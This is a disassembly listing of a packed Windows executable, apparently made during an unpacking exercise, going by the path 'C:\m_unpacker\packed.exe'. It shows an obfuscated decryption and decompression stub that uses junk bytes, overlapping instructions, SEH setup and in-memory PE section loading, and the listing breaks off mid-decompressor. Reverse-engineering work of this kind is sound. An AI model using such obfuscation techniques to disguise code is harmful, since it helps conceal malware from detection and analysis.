dword_43A478 dd 0 ; sub_409663:loc_409817r
dword_43A47C dd 0 ; sub_409663+1BCr
dword_43A480 dd 0 ; sub_409663:loc_40984Br
dword_43A484 dd 0 ; sub_409663+1F0r
dword_43A488 dd 0 ; sub_409663:loc_40987Fr
dword_43A48C dd 0 ; sub_409663+224r
dword_43A490 dd 0 ; sub_409663:loc_4098B3r
dword_43A494 dd 0 ; sub_409663+258r
dword_43A498 dd 0 ; sub_409663:loc_4098E7r
dword_43A49C dd 0 ; sub_409663+28Cr
dword_43A4A0 dd 0 ; sub_409663:loc_40991Br
dword_43A4A4 dd 0 ; sub_409663+2C0r
dd 81h dup(0)
dword_43A6AC dd 5 dup(0) dword_43A6C0 dd 0 ; sub_40A7E1+123w
dword_43A6C4 dd 0 ; seg000:0040A6C3r ...
dword_43A6C8 dd 0 ; sub_40A7E1+83o
dword_43A6CC dd 0 ; sub_40A7E1+11Bw
dword_43A6D0 dd 0Dh dup(0) ; sub_40A7E1:loc_40A91Eo
dword_43A704 dd 0 dd 0
dword_43A70C dd 0Eh dup(0) dword_43A744 dd 1000h dup(0) ; sub_40B1F1o ...
dword_43E744 dd 0 ; sub_40B1F1+Eo ...
dword_43E748 dd 10h dup(0) dword_43E788 dd 0 ; sub_40B059+44r ...
dd 5 dup(0)
dword_43E7A0 dd 0 ; seg000:0040DA01r
dd 2D9h dup(0)
dword_43F308 dd 0 ; sub_40B059+2Do ...
dd 7Fh dup(0)
dword_43F508 dd 0 ; sub_4150B4+40w ...
dword_43F50C dd 0 ; sub_40776F:loc_4077B6r ...
dword_43F510 dd 0 ; sub_414F79+52w ...
dword_43F514 dd 0 ; sub_405B07+7Ew ...
dword_43F518 dd 0 ; seg000:00407FA4r ...
dword_43F51C dd 0 ; seg000:004075A8w ...
byte_43F520 db 0 ; DATA XREF: sub_40CB59+91o
; seg000:00410062r ...
align 4
dd 188Bh dup(0)
dword_445750 dd 8C2Ah dup(0) dword_4687F8 dd 2FE1h ; seg000:0040C6ADw ...
dd 22h dup(0)
dword_468884 dd 3Ah dup(0) dword_46896C dd 0 ; seg000:0040D0AFr
byte_468970 db 0 ; DATA XREF: sub_40CCC1+28r
; sub_40CCC1+30o
align 4
dword_468974 dd 0 dword_468978 dd 0 dword_46897C dd 0 dword_468980 dd 17h dup(0) ; sub_412EF6+131o ...
dword_4689DC dd 7 dup(0) ; sub_413C8F+A5o
dword_4689F8 dd 0 ; sub_4151E0+19o
dword_4689FC dd 78h dup(0) dword_468BDC dd 0 ; sub_413270+4Dr ...
dword_468BE0 dd 17h dup(0) ; sub_413B5B+12Do
dword_468C3C dd 80h dup(0) ; sub_4131B1+7Do ...
byte_468E3C db 0 ; DATA XREF: sub_413270+29r
; sub_413270+34w
align 10h
dword_468E40 dd 80h dup(0) ; sub_4134C7+88o ...
dword_469040 dd 81h dup(0) ; sub_412DCD+50o ...
dword_469244 dd 81h dup(0) byte_469448 db 0 ; DATA XREF: sub_414E72+6Ar
; sub_414E72+98w
align 4
dd 2 dup(0)
dword_469454 dd 0 dword_469458 dd 0 ; seg000:00416B58w
align 10h
word_469460 dw 0 ; DATA XREF: seg000:00416B09r
; seg000:00416B4Eo
word_469462 dw 0 ; DATA XREF: seg000:loc_416AFCr
db 2 dup(0)
word_469466 dw 0 ; DATA XREF: seg000:00416AEFr
word_469468 dw 0 ; DATA XREF: seg000:00416AE2r
word_46946A dw 0 ; DATA XREF: seg000:00416AD5r
align 10h
dword_469470 dd 0 ; sub_416C78+91w
dword_469474 dd 0 ; seg000:loc_416E9Aw ...
dword_469478 dd 0 ; sub_4185AB:loc_418645w ...
dword_46947C dd 0 dword_469480 dd 0A28h dword_469484 dd 501h dword_469488 dd 5 dword_46948C dd 1 dword_469490 dd 1 dword_469494 dd 0AE0ED0h dd 0
dword_46949C dd 0AE0D70h ; sub_41F3E9+9r ...
dword_4694A0 dd 0 dword_4694A4 dd 0 ; sub_41F7B7+4r ...
dd 0
off_4694AC dd offset aCM_unpackerPac ; DATA XREF: sub_41C8B3+2Fo
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4694B4 db 0 ; DATA XREF: seg000:00417856w
; sub_41D15B+5r
align 4
dword_4694B8 dd 0 dword_4694BC dd 0 ; seg000:004178B4w
dword_4694C0 dd 0 ; sub_41C7FA:loc_41C80Cr ...
align 8
dword_4694C8 dd 0 dword_4694CC dd 0 dd 0
dword_4694D4 dd 0 ; sub_4174BF:loc_4175BBr ...
dword_4694D8 dd 0 dword_4694DC dd 0 ; sub_41A0FA+1Ar ...
byte_4694E0 db 0 ; DATA XREF: sub_419FF6+3r
; sub_419FF6+98r ...
align 4
dword_4694E4 dd 0 ; sub_41A1D8+21w ...
byte_4694E8 db 0 ; DATA XREF: sub_41A1D8+51w
align 4
dword_4694EC dd 0 ; sub_41A7A9+3Ar ...
dword_4694F0 dd 0 ; sub_41A7A9+43r ...
dword_4694F4 dd 0 ; sub_41A575+5r
dword_4694F8 dd 0 dword_4694FC dd 1 ; seg000:0041BD9Dw ...
dd 2 dup(0)
dword_469508 dd 0 ; sub_417173+9Dr ...
dd 3 dup(0)
dword_469518 dd 0 ; sub_4179D9+BFr ...
align 10h
dword_469520 dd 1 ; sub_41C139+4w ...
dword_469524 dd 0 ; seg000:0041C664w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41C8B3:loc_41C8CAo
; seg002:off_4694ACo
align 4
dd 3Ah dup(0)
dword_46962C dd 1 ; sub_41CB00+23w ...
dword_469630 dd 0 dword_469634 dd 0 ; sub_418860+154w ...
dword_469638 dd 1 ; seg000:loc_41D241w
dword_46963C dd 0 word_469640 dw 0 ; DATA XREF: sub_41DDBF+1Ao
; sub_41DDBF+46r
byte_469642 db 0 ; DATA XREF: sub_41DDBF+39r
align 4
dword_469644 dd 7 dup(0) dword_469660 dd 0 ; sub_41DDBF+5Co
dword_469664 dd 0 dword_469668 dd 0 dword_46966C dd 0 dword_469670 dd 77C2807Ch ; sub_41DEE2+38r ...
align 8
dword_469678 dd 0 ; sub_41E142+63w ...
align 10h
dword_469680 dd 0 ; sub_41E142+46r
dword_469684 dd 10h dup(0) word_4696C4 dw 0 ; DATA XREF: sub_41E3A0+A8r
word_4696C6 dw 0 ; DATA XREF: sub_41E142+54r
; sub_41E3A0+DBr ...
word_4696C8 dw 0 ; DATA XREF: sub_41E3A0+CAr
word_4696CA dw 0 ; DATA XREF: sub_41E3A0+D3r
; sub_41E3A0:loc_41E492r
word_4696CC dw 0 ; DATA XREF: sub_41E3A0+C0r
word_4696CE dw 0 ; DATA XREF: sub_41E3A0+B8r
word_4696D0 dw 0 ; DATA XREF: sub_41E3A0+B0r
word_4696D2 dw 0 ; DATA XREF: sub_41E3A0+9Er
dword_4696D4 dd 0 dword_4696D8 dd 10h dup(0) word_469718 dw 0 ; DATA XREF: sub_41E3A0+46r
word_46971A dw 0 ; DATA XREF: sub_41E142:loc_41E1B9r
; sub_41E3A0+78r ...
word_46971C dw 0 ; DATA XREF: sub_41E3A0+67r
word_46971E dw 0 ; DATA XREF: sub_41E3A0+70r
; sub_41E3A0:loc_41E424r
word_469720 dw 0 ; DATA XREF: sub_41E3A0+5Dr
word_469722 dw 0 ; DATA XREF: sub_41E3A0+55r
word_469724 dw 0 ; DATA XREF: sub_41E3A0+4Dr
word_469726 dw 0 ; DATA XREF: sub_41E3A0+3Er
dword_469728 dd 0 dword_46972C dd 0 ; sub_41E142:loc_41E28Er ...
dword_469730 dd 0 dword_469734 dd 0 ; sub_41E6CE+2Ew ...
dword_469738 dd 0 ; sub_41E6CE:loc_41E71Dr
dword_46973C dd 0 ; sub_41E6CE+60r
dword_469740 dd 0 dword_469744 dd 0 ; sub_41F277+6Do
dword_469748 dd 0 ; sub_41F277+44o
dword_46974C dd 0 ; sub_41F277+37o
dword_469750 dd 0 ; sub_41F277+51o
align 8
dword_469758 dd 0 ; sub_41F825+48w ...
byte_46975C db 1 ; DATA XREF: sub_404EE6r sub_404EE6+9w ...
align 10h
dword_469760 dd 0AD4968h ; sub_4189D0+14r ...
dd 7 dup(0)
dword_469780 dd 400h dup(0) ; seg002:00438450o
dword_46A780 dd 200h ; sub_418729+56r ...
dd 7 dup(0)
dword_46A7A0 dd 0AE0EF0h ; sub_41B890+75r ...
dword_46A7A4 dd 3Fh dup(0) dword_46A8A0 dd 20h ; sub_41B969+Cr ...
dword_46A8A4 dd 4E4h ; seg000:0041C005w ...
align 10h
dword_46A8B0 dd 3 dup(0) ; seg000:0041C111o ...
dword_46A8BC dd 0 ; seg000:0041C0FDw ...
byte_46A8C0 db 0 ; DATA XREF: sub_41C1DF:loc_41C2EBw
; sub_41C1DF:loc_41C308w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_46A9C0 db 0 ; DATA XREF: seg000:0041BFFCo
; seg000:0041C04Fo ...
byte_46A9C1 db 0 ; DATA XREF: sub_417328+5Dr
; seg000:0041C040w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_46AAC4 dd 0 ; seg000:0041C0CBw ...
dword_46AAC8 dd 10h ; sub_41913C+5r ...
dword_46AACC dd 0 ; sub_418B08+259r ...
dword_46AAD0 dd 0AD0650h ; sub_418B08+310w ...
dword_46AAD4 dd 0 ; sub_418B08+22Cr ...
dword_46AAD8 dd 1 ; sub_418ADDr ...
dword_46AADC dd 0AD0650h ; sub_418ADD+8r ...
dword_46AAE0 dd 0AD0000h ; sub_415E1D+21r ...
dword_46AAE4 dd 142340h ; seg000:0041C7B1r ...
dword_46AAE8 dd 1 ; sub_41F3E9r
dword_46AAEC dd 1 ; sub_41C364+11w ...
dword_46AAF0 dd 0AE1B4Ch ; sub_4167B3:loc_4167F5r ...
dword_46AAF4 dd 0AE1B40h ; sub_4167B3+Cr ...
byte_46AAF8 db 1 ; DATA XREF: sub_4200A4+15r
; sub_4200A4+1Ew
align 800h
seg002 ends
; Section 4. (virtual address 0006B000)
; Virtual size : 0001A000 ( 106496.)
; Section size in file : 0001A000 ( 106496.)
; Offset to raw data for section: 0006B000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_data segment para public 'CODE' use32
assume cs:_data
;org 46B000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
db 90h
db 60h, 0E8h, 3
dword_46B004 dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h, 0FFEDBB5Dh
dd 0DD03FFFFh, 0B000EB81h, 7D800006h, 0C75014Dh, 2824748Bh
dd 8901FE83h, 31754E5Dh, 5053458Dh, 0EDB5FF53h, 8D000009h
dd 0E9503545h, 82h, 390000h, 30000h, 7C809AE4h, 3BE000h
dd 7C801D77h, 7C80B6A1h, 0
dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h, 81E801EBh
dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh
dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h, 0D0FF3575h
dd 8535458Bh, 680D74C0h, 8000h, 75FF006Ah, 3D55FF35h, 61DB0B5Bh
dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 0E280000Ch
dd 9E8B7h, 428D0000h, 8E899053h, 8A45BCAFh, 685259FDh
dd 4EAFE1ECh, 0F16BA66h, 0C1815B58h, 8F6h, 21068h, 5EC68B00h
dd 6E9h, 0B487C600h, 8B2352DDh, 11B86639h, 1DEF8137h, 51443EC7h
dd 6830Fh, 0D3810000h, 0C690681h, 92C78158h, 8B0CD3CDh
dd 63C781C7h, 0F0FBD33h, 384h, 0D18B6600h, 8B663989h, 1E983DFh
dd 68F0Fh, 8F0F0000h, 0
; ---------------------------------------------------------------------------
dec ecx
dec ecx
dec ecx
jmp loc_46B156
; ---------------------------------------------------------------------------
xchg al, [edi+74h]
popf
adc ah, bl
loc_46B156: ; CODE XREF: .data:0046B14Bj
sub esi, 1
jnz loc_46B176
mov al, 90h
jmp loc_46B18C
; ---------------------------------------------------------------------------
dw 0D1F8h
dd 0DA43736h, 910D3C2h, 0C53C2F0Eh
db 1Ah, 4Bh
; ---------------------------------------------------------------------------
loc_46B176: ; CODE XREF: .data:0046B159j
movzx eax, dx
jmp near ptr dword_46B064+9Fh
; ---------------------------------------------------------------------------
dw 1FBEh
dd 3BCA356Ch, 1796B158h, 0B322ED04h
; ---------------------------------------------------------------------------
loc_46B18C: ; CODE XREF: .data:0046B161j
mov esi, ebx
call sub_46B1A7
pop esp
db 65h
cmp ch, bl
dec eax
loope loc_46B1A0
mov esp, 6063921Dh
loc_46B1A0: ; CODE XREF: .data:0046B198j
sbb esi, ebx
mov edi, 0DBEAD58Ch
; =============== S U B R O U T I N E =======================================
sub_46B1A7 proc near ; CODE XREF: .data:0046B18Ep
push esi
push ebx
mov edx, eax
pop edx
pop eax
pop ebx
mov dx, 9A8h
add ebx, 834h
push edx
mov si, cx
pop edx
mov edi, 0
loc_46B1C2: ; CODE XREF: .data:0046B264j
push dword ptr [edi+ebx]
jmp loc_46B1D3
; ---------------------------------------------------------------------------
dw 0A26Dh
dd 0EE69F033h
db 8Fh, 1Ch, 25h
; ---------------------------------------------------------------------------
loc_46B1D3: ; CODE XREF: sub_46B1A7+1Ej
pop ecx
jmp loc_46B1E6
; ---------------------------------------------------------------------------
db 0A1h, 0C6h, 87h
dd 2352DDB4h, 7F9ED920h
db 4Ch, 95h
; ---------------------------------------------------------------------------
loc_46B1E6: ; CODE XREF: sub_46B1A7+2Dj
sub ecx, 4139A818h
call sub_46B1FE
adc [esi+77h], esi
in al, 4Dh
add dl, [ebx]
push eax
dec ecx
dec esi
outsd
jl short loc_46B203
sub_46B1A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_46B1FE proc near ; CODE XREF: sub_46B1A7+45p
; FUNCTION CHUNK AT 0046B27B SIZE 0000008F BYTES
; FUNCTION CHUNK AT 0046B315 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0046B329 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0046B34D SIZE 00000084 BYTES
; FUNCTION CHUNK AT 0046B3DF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0046B3F7 SIZE 0000009B BYTES
; FUNCTION CHUNK AT 0046B4A2 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0046B4F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0046B517 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0046B543 SIZE 00000130 BYTES
add si, 9F26h
loc_46B203: ; CODE XREF: sub_46B1A7+55j
pop esi
add ecx, 71541271h
mov eax, edx
xor ecx, 52D07856h
sbb edx, 7F3BDDF1h
mov [ebx+edi], ecx
loc_46B21B: ; CODE XREF: sub_46B1FE+5Dj
; sub_46B1FE+5Aj
mov ax, di
mov dx, bx
sub edi, 2
mov edx, eax
dec edi
dec edi
sub si, 0C712h
cmp edi, 0FFFFF8B0h
jnz loc_46B248
jmp loc_46B27B
; ---------------------------------------------------------------------------
dw 5B6Ah
dd 3736D1F8h, 0D3C20DA4h
; ---------------------------------------------------------------------------
loc_46B248: ; CODE XREF: sub_46B1FE+35j
call near ptr loc_46B25F+1
das
cmp al, 0C5h
sbb cl, [ebx+28h]
inc ecx
out 27h, al
aam 7Dh
jb short near ptr loc_46B21B+2
inc eax
jns short loc_46B21B
pop ds
insb
loc_46B25F: ; CODE XREF: sub_46B1FE:loc_46B248p
xor eax, 5896E880h
sub_46B1FE endp ; sp-analysis failed
jmp loc_46B1C2
; ---------------------------------------------------------------------------
db 22h, 0B3h, 70h
dd 9C0F6EE9h, 882B7AA5h, 34074621h
db 5Dh, 0D2h, 0A3h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_46B1FE
loc_46B27B: ; CODE XREF: sub_46B1FE+3Bj
movzx edi, di
call near ptr loc_46B28F+1
and [esi+7], eax
xor al, 5Dh
shl byte ptr [ebx-0E1A660h], cl
int 3 ; Trap to Debugger
loc_46B28F: ; CODE XREF: sub_46B1FE+80p
adc eax, 0C961B868h
xor eax, 0CE8h
add [ebp+ecx*8-7Eh], ah
xchg eax, ebx
ror cl, 1
into
out dx, eax
cld
test ebx, edx
or ebp, [eax-5Ah]
in eax, dx
loopne near ptr loc_46B2D1+3
pop ecx
pop edx
pop ecx
pop esi
movsx edx, cx
add esi, 742h
and dl, 0ADh
mov eax, 1A8h
adc di, 57CFh
loc_46B2C5: ; CODE XREF: sub_46B1FE+11Aj
mov ebx, [esi]
sub ebx, 2A398917h
mov cx, 71C7h
loc_46B2D1: ; CODE XREF: sub_46B1FE+ABj
add ebx, 610E9104h
mov di, si
add ebx, 707B26EDh
push ebx
mov dh, ch
pop dword ptr [esi]
push edx
or cx, 0E49Ah
pop edi
sub esi, 2
movzx ecx, bx
dec esi
dec esi
mov cl, bh
sub eax, 1
jnz loc_46B315
mov di, cx
jmp loc_46B329
; END OF FUNCTION CHUNK FOR sub_46B1FE
; ---------------------------------------------------------------------------
dw 8497h
dd 0F033A26Dh, 1C8FEE69h
db 25h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_46B1FE
loc_46B315: ; CODE XREF: sub_46B1FE+FEj
movzx ecx, di
jmp loc_46B2C5
; END OF FUNCTION CHUNK FOR sub_46B1FE
; ---------------------------------------------------------------------------
mov ah, 0DDh
push edx
and esp, [eax]
fstp dword ptr [esi-556AB381h]
wait
; START OF FUNCTION CHUNK FOR sub_46B1FE
loc_46B329: ; CODE XREF: sub_46B1FE+107j
push esi
mov al, dl
pop eax
call near ptr loc_46B332+6
loc_46B332: ; CODE XREF: sub_46B1FE+12Fp
mov byte ptr [edi+2352DDB4h], 0B6h
push ebx
pop edi
jmp loc_46B34D
; END OF FUNCTION CHUNK FOR sub_46B1FE
; ---------------------------------------------------------------------------
dd 0E4777611h, 5013024Dh, 7C6F4E49h
db 5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_46B1FE
loc_46B34D: ; CODE XREF: sub_46B1FE+13Dj
add edi, 695h
movzx ebx, di
mov ecx, 175h
mov bx, 95FEh
loc_46B35F: ; CODE XREF: sub_46B1FE+1E3j
push dword ptr [edi]
jz loc_46B36C
or bx, 2D57h
loc_46B36C: ; CODE XREF: sub_46B1FE+163j
pop esi
push ecx
and ebx, 1233704Fh
pop eax
xor esi, 66D364BBh
jb loc_46B388
push eax
mov ebx, 5CC0E012h
pop ebx
loc_46B388: ; CODE XREF: sub_46B1FE+17Dj
xor esi, 14550DD8h
push 2AC8EB5Eh
call near ptr loc_46B39F+3
push 5Bh
clc
sal dword ptr [esi], 1
aaa
movsb
loc_46B39F: ; CODE XREF: sub_46B1FE+195p
or eax, 3CBAD3C2h
mov al, 3
push esp
pop edx
pop eax
sub esi, 1F7EE531h
mov dx, bx
mov [edi], esi
mov dx, 70BEh
sub edi, 4
adc edx, 0D0830B1h
sub ecx, 1
jnz loc_46B3DF
mov dh, al
jmp loc_46B3F7
; END OF FUNCTION CHUNK FOR sub_46B1FE
; ---------------------------------------------------------------------------
db 6Eh, 0Fh, 9Ch
dd 882B7AA5h, 34074621h
db 5Dh, 0D2h, 0A3h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_46B1FE
loc_46B3DF: ; CODE XREF: sub_46B1FE+1C6j
mov ebx, eax
jmp loc_46B35F
; END OF FUNCTION CHUNK FOR sub_46B1FE
; ---------------------------------------------------------------------------
dw 2A15h
dd 0F691B81Bh, 82CD64F7h, 0CEC9D093h
db 0EFh, 0FCh, 85h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_46B1FE
loc_46B3F7: ; CODE XREF: sub_46B1FE+1CEj
push 7D1D981Eh
and edi, 655E461Bh
loc_46B402: ; CODE XREF: sub_46B1FE+223j
pop edi
call near ptr loc_46B412+1
mul dword ptr [ebp+ecx*8-7Eh]
xchg eax, ebx
ror cl, 1
into
out dx, eax
cld
loc_46B412: ; CODE XREF: sub_46B1FE+205p
test ebp, ecx
or eax, 1000000h
cmpsb
out 94h, eax
cmp eax, 39008332h
jle short loc_46B402
sub al, 0F5h
pop ecx
mov ah, 0B0h
add ecx, 5BEh
and bh, 0A9h
push 14Ah
mov ax, bx
pop esi
mov ebx, 6EA26906h
loc_46B43F: ; CODE XREF: sub_46B1FE+289j
push dword ptr [ecx]
xor ebx, 3B9D5CBFh
pop edx
mov ax, 3B51h
xor edx, 46D46221h
mov al, 55h
add edx, 24DA0646h
mov eax, 10214F45h
sub edx, 3EE23007h
mov [ecx], edx
push 1F0721FDh
mov bx, cx
pop eax
sub ecx, 623713ECh
add ecx, 623713E8h
mov edi, 387ACCEEh
sub esi, 1
jnz loc_46B43F
jmp loc_46B4A2
; END OF FUNCTION CHUNK FOR sub_46B1FE
; ---------------------------------------------------------------------------
or [ecx-224B783Ah], ah
push edx
and esp, [eax]
fstp dword ptr [esi-556AB381h]
wait
; START OF FUNCTION CHUNK FOR sub_46B1FE
loc_46B4A2: ; CODE XREF: sub_46B1FE+28Fj
call $+5
pop ebp
pop ebx
mov [ebp+5Bh], ebx
pop ebx
mov [ebp+5Fh], ebx
pop eax
mov [ebp+40Dh], eax
pop eax
cmp byte ptr [ebp+5Ah], 1
jnz short loc_46B517
mov [ebp+425h], eax
pusha
lea eax, [ebp+33h]
push eax
xor eax, eax
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, ebx
call sub_46B7BC
jmp short loc_46B4F6
; END OF FUNCTION CHUNK FOR sub_46B1FE
; ---------------------------------------------------------------------------
mov esp, [esp+8]
pop dword ptr fs:0
add esp, 4
popa
lea eax, [ebp+63h]
push eax
call dword ptr [ebp+5Fh]
call loc_46B7D2
jmp short loc_46B4FF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_46B1FE
loc_46B4F6: ; CODE XREF: sub_46B1FE+2DAj
pop dword ptr fs:0
add esp, 24h
loc_46B4FF: ; CODE XREF: .data:0046B4F4j
jmp short loc_46B51C
; END OF FUNCTION CHUNK FOR sub_46B1FE
; ---------------------------------------------------------------------------
align 2
dd offset dword_46B004+44h
aBAKernel32_dll db '¡¶€|kernel32.dll',0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_46B1FE
loc_46B517: ; CODE XREF: sub_46B1FE+2BEj
call sub_46B7B8
loc_46B51C: ; CODE XREF: sub_46B1FE:loc_46B4FFj
cld
lea esi, [ebp+8Ch]
lodsd
or eax, eax
jz short loc_46B543
mov edi, eax
mov ecx, 0Ch
rep movsb
jmp short loc_46B543
; END OF FUNCTION CHUNK FOR sub_46B1FE
; ---------------------------------------------------------------------------
align 4
dd 28004010h, 19B2BB43h, 380A211h
db 8Fh, 9Fh, 9Dh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_46B1FE
loc_46B543: ; CODE XREF: sub_46B1FE+328j
; sub_46B1FE+333j
mov [ebp+429h], esp
push 40h
push 1000h
push dword ptr [ebp+408h]
push 0
call dword ptr [ebp+3F0h]
mov [ebp+1CCh], eax
mov ebx, [ebp+400h]
add ebx, [ebp+40Dh]
push eax
push ebx
call sub_46B67B
push 40h
push 1000h
push dword ptr [ebp+408h]
push 0
call dword ptr [ebp+3F0h]
mov [ebp+431h], eax
mov [ebp+1D0h], eax
mov eax, fs:0
mov [ebp+42Dh], eax
mov edx, [ebp+5Bh]
mov eax, [ebp+1D0h]
mov [edx], eax
mov eax, [ebp+408h]
mov [edx+4], eax
lea eax, [ebp+39Fh]
mov eax, [eax+55h]
mov [edx+8], eax
mov eax, [ebp+3ECh]
mov [edx+10h], eax
mov eax, [ebp+3E8h]
mov [edx+14h], eax
mov edx, [ebp+1CCh]
mov ebx, 1F8h
loc_46B5E0: ; CODE XREF: sub_46B1FE+406j
mov edi, [edx+ebx+0Ch]
or edi, edi
jz short loc_46B606
mov ecx, [edx+ebx+10h]
or ecx, ecx
jz short loc_46B601
add edi, [ebp+1D0h]
mov esi, [edx+ebx+14h]
add esi, edx
sar ecx, 2
rep movsd
loc_46B601: ; CODE XREF: sub_46B1FE+3F0j
add ebx, 28h
jmp short loc_46B5E0
; ---------------------------------------------------------------------------
loc_46B606: ; CODE XREF: sub_46B1FE+3E8j
mov eax, [ebp+1CCh]
push eax
mov edx, [ebp+1D0h]
push edx
mov ebx, [eax]
add ebx, edx
mov eax, [ebp+3E4h]
mov [ebx], eax
mov eax, [ebp+3E8h]
mov [ebx+4], eax
mov eax, [ebp+3ECh]
mov [ebx+8], eax
pop edi
pop esi
mov eax, [esi+4]
add eax, edi
mov [ebp+1C7h], eax
mov edx, [ebp+5Bh]
mov eax, [ebp+1C7h]
mov [edx+0Ch], eax
lea ebx, [ebp+40Dh]
push ebx
push 0
push 0
push 1
push edi
mov ebx, [esi+8]
add ebx, edi
push ebx
push 8000h
push 0
push esi
call dword ptr [ebp+3F4h]
push 3BE000h
retn
; END OF FUNCTION CHUNK FOR sub_46B1FE
; ---------------------------------------------------------------------------
align 4
dd 3600h
db 0, 39h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_46B67B proc near ; CODE XREF: sub_46B1FE+374p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
pusha
push ebp
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
cld
mov dl, 80h
loc_46B689: ; CODE XREF: sub_46B67B:loc_46B698j
mov al, [esi]
inc esi
mov [edi], al
inc edi
loc_46B68F: ; CODE XREF: sub_46B67B+72j
; sub_46B67B+B7j ...
add dl, dl
jnz short loc_46B698
mov dl, [esi]
inc esi
adc dl, dl
loc_46B698: ; CODE XREF: sub_46B67B+16j
jnb short loc_46B689
add dl, dl
jnz short loc_46B6A3
mov dl, [esi]
inc esi
adc dl, dl
loc_46B6A3: ; CODE XREF: sub_46B67B+21j
jnb short loc_46B6EF
xor eax, eax
add dl, dl
jnz short loc_46B6B0
mov dl, [esi]
inc esi
adc dl, dl
loc_46B6B0: ; CODE XREF: sub_46B67B+2Ej
jnb loc_46B78C
add dl, dl
jnz short loc_46B6BF
mov dl, [esi]
inc esi
adc dl, dl
loc_46B6BF: ; CODE XREF: sub_46B67B+3Dj
adc eax, eax
add dl, dl
jnz short loc_46B6CA
mov dl, [esi]
inc esi
adc dl, dl
loc_46B6CA: ; CODE XREF: sub_46B67B+48j
adc eax, eax
add dl, dl
jnz short loc_46B6D5
mov dl, [esi]
inc esi
adc dl, dl
loc_46B6D5: ; CODE XREF: sub_46B67B+53j
adc eax, eax
add dl, dl
jnz short loc_46B6E0
mov dl, [esi]
inc esi
adc dl, dl
loc_46B6E0: ; CODE XREF: sub_46B67B+5Ej
adc eax, eax
jz short loc_46B6EA
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_46B6EA: ; CODE XREF: sub_46B67B+67j
mov [edi], al
inc edi
jmp short loc_46B68F
; ---------------------------------------------------------------------------
loc_46B6EF: ; CODE XREF: sub_46B67B:loc_46B6A3j
mov eax, 1
loc_46B6F4: ; CODE XREF: sub_46B67B:loc_46B708j
add dl, dl
jnz short loc_46B6FD
mov dl, [esi]
inc esi
adc dl, dl
loc_46B6FD: ; CODE XREF: sub_46B67B+7Bj
adc eax, eax
add dl, dl
jnz short loc_46B708
mov dl, [esi]
inc esi
adc dl, dl
loc_46B708: ; CODE XREF: sub_46B67B+86j
jb short loc_46B6F4
sub eax, 2
jnz short loc_46B737
mov ecx, 1
loc_46B714: ; CODE XREF: sub_46B67B:loc_46B728j
add dl, dl
jnz short loc_46B71D
mov dl, [esi]
inc esi
adc dl, dl
loc_46B71D: ; CODE XREF: sub_46B67B+9Bj
adc ecx, ecx
add dl, dl
jnz short loc_46B728
mov dl, [esi]
inc esi
adc dl, dl
loc_46B728: ; CODE XREF: sub_46B67B+A6j
jb short loc_46B714
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_46B68F
; ---------------------------------------------------------------------------
loc_46B737: ; CODE XREF: sub_46B67B+92j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_46B745: ; CODE XREF: sub_46B67B:loc_46B759j
add dl, dl
jnz short loc_46B74E
mov dl, [esi]
inc esi
adc dl, dl
loc_46B74E: ; CODE XREF: sub_46B67B+CCj
adc ecx, ecx
add dl, dl
jnz short loc_46B759
mov dl, [esi]
inc esi
adc dl, dl
loc_46B759: ; CODE XREF: sub_46B67B+D7j
jb short loc_46B745
